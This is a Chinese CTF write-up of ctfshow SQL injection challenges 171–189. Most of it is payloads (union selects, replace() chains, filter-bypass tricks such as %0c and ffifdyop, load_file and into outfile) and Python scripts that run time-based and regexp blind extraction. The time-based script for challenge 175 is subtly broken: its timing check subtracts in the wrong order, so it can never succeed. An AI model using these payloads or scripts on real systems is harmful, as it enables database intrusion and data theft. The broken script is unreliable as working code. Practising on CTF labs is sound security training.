目录
173:过滤flag那就利用substr少取几个flag的名字或者replace
174:两种方法,使用盲注或者利用replace嵌套替换,然后在逆替换
175:1.将数据写入文件 2.时间盲注,一般用python写脚本
178:同样过滤空格但是也把/**/过滤掉了,所以使用%0a或者%0b这些
179:同样还是过滤空格,%0a和%0b都给过掉了,可以用%0c
182:和181相同,flag用concat绕过 ####想用进制绕过,不知道为什么报错
184:这里主要是利用having函数,但是只能在group by函数后利用
sql注入
171:简单的sql注入,尝试万能密码直接过
172:基础联合查询可过
173:过滤flag那就利用substr少取几个flag的名字或者replace
174:两种方法,使用盲注或者利用replace嵌套替换,然后在逆替换
例如:原理,flag是十六进制的,最大到f所以可以用后面的英文来替换
-1"'union select substr(username,2,5),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4-- adsf
再利用python或者其他或者人工逆向替换回来
175:1.将数据写入文件 2.时间盲注,一般用python写脚本
1.
利用into outfile来将查询到的表的内容写入到服务器的文件里
但这种情况一般需要知道web的地址例如/var/www/html/
2.
import requests from time import time url = r'http://4458cad3-9e4d-4cdd-b35d-92e9c0cba734.challenge.ctf.show/select-no-waf-5.php/api/v5.php?id=' flag = '' a = 0 for i in range(1, 1000): print(f'第{i}次') high = 128 low = 30 while low <= high: a += 1 print(a) mid = (low + high) // 2 sql1 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))={mid},2,0))-- asdf' sql2 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))>{mid},2,0))-- asdf' sql3 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))<{mid},2,0))-- asdf' start_time1 = time() req1 = requests.get(url=url+sql1) end_time1 = time() start_time2 = time() req2 = requests.get(url=url + sql2) end_time2 = time() start_time3 = time() req3 = requests.get(url=url + sql3) end_time3 = time() if start_time1 - end_time1 >= 1: flag += chr(mid) break elif start_time2 - end_time2 >= 1: low = mid + 1 elif start_time3 - end_time3 >= 1: high = mid - 1 print(mid) print(flag)
176:简单的过滤了select大小写绕过即可
177:简单的空格过滤,使用/**/绕过或者%0a
178:同样过滤空格但是也把/**/过滤掉了,所以使用%0a或者%0b这些
179:同样还是过滤空格,%0a和%0b都给过掉了,可以用%0c
180-181:在mysql里and优先级高于or
原理:and需要两边都为1返回true,例如1and1,但是or只需要一边为1则返回true
假如1 and 0 = 0,如果在后面加一个or 1呢,就会变成 1 and 0 or 1
1 and 0 or 1 == 1 and 1 == 1
payload:
11111'or%0cusername='flag
182:和181相同,flag用concat绕过 ####想用进制绕过,不知道为什么报错
flag = concat('fl','ag')
183:利用python脚本使用regexp盲注
regexp查询以什么开头
import requests
import os
# 这里是我设置的代理
os.environ['https_proxy'] = '127.0.0.1:8080'
os.environ['http_proxy'] = '127.0.0.1:8080'
def main(a, b, c):
while 1:
for i in b:
data = {
'tableName': f'(ctfshow_user)where(pass)regexp(\'{c}{i}\')'
}
print(data)
str = requests.post(url=a, data=data).text
if '$user_count = 1;' in str:
c += i
print(c)
break
if __name__ == '__main__':
flag = 'ctfshow{'
url = 'http://d194e25b-86d1-4415-b762-f90f080dffe6.challenge.ctf.show/select-waf.php'
q = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
main(url, q, flag)
184:这里主要是利用having函数,但是只能在group by函数后利用
在查询语句最后加上group by会把group by后的字段放在最前面,而having有点像是where,会过滤一下group by指定的字段
例如:group by camp having horde
那么下面的图片就只会出现horde这一行啦
另外:flag被过滤,但是可以使用进制替换,182题提过,但是不知道为什么182报错但是184可以用,有大佬的话可以提点一下
import requests
import os
os.environ['http_proxy'] = '127.0.0.1:8080'
os.environ['https_proxy'] = '127.0.0.1:8080'
def search(url, str1):
global flag
while True:
for i in str1:
c = flag + i
data = {
'tableName': f'ctfshow_user group by pass having pass regexp(0x{c.encode().hex()})'
}
re = requests.post(url, data).text
if '$user_count = 1;' in re:
flag += i
print(flag)
break
if __name__ == '__main__':
flag = 'ctfshow{'
a = r'http://2d8ea9cc-0b3e-4bb2-86f7-e774825eaff1.challenge.ctf.show/select-waf.php'
b = '0123456789{}abcdefg-_'
search(a, b)
185-186:利用concat连接
这一题将数字全禁用了,所以得使用全字符串
concat和true拼接可以转换成数字,true相当于等于1
例如:
concat(true+true) == 2 concat(true) == 1 concat(true, true) == 11
这里直接用了y4师傅的脚本
# @Author:Y4tacker
import requests
url = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"
flag = 'flag{'
def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 43;") > 0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break
187:直接使用ffifdyop,逻辑绕过
188:
mysql在查询的字母拿来和数字作比较的时候会把以字母开头的转换为0
intval让等号右边为数字0
payload:
username = 0
password = 0
189:
此题提醒了flag在api/index.php, 大概率就是让用load_file来读取函数
可以使用盲注, 利用上一题提到的特性, 当查询的username为字母开头时会自动转变成0和数字对比, 那么可以传入
user = 0 或者 1 (当user为0时, 会报错登录失败, 当user为1时, 会报错查询失败)
pass = 随意
payload:
import requests
class Payload(object):
def __init__(self, url):
self.url = url + r'/api/index.php'
self.flag = 'ctfshow{'
self._payload = '0123456789abcdefg-}'
def search(self):
while 1:
for i in self._payload:
c = self.flag + i
payload = f'if(load_file(\'/var/www/html/api/index.php\')regexp(\'{c}\'),0,1)'
data = {
'username': payload,
'password': '123'
}
re = requests.post(self.url, data).text
if r"\u5bc6\u7801\u9519\u8bef" in re:
self.flag += i
print(self.flag)
break
if '}' in self.flag:
break
def main():
url = input('请输入url:')
a = Payload(url)
a.search()
if __name__ == '__main__':
main()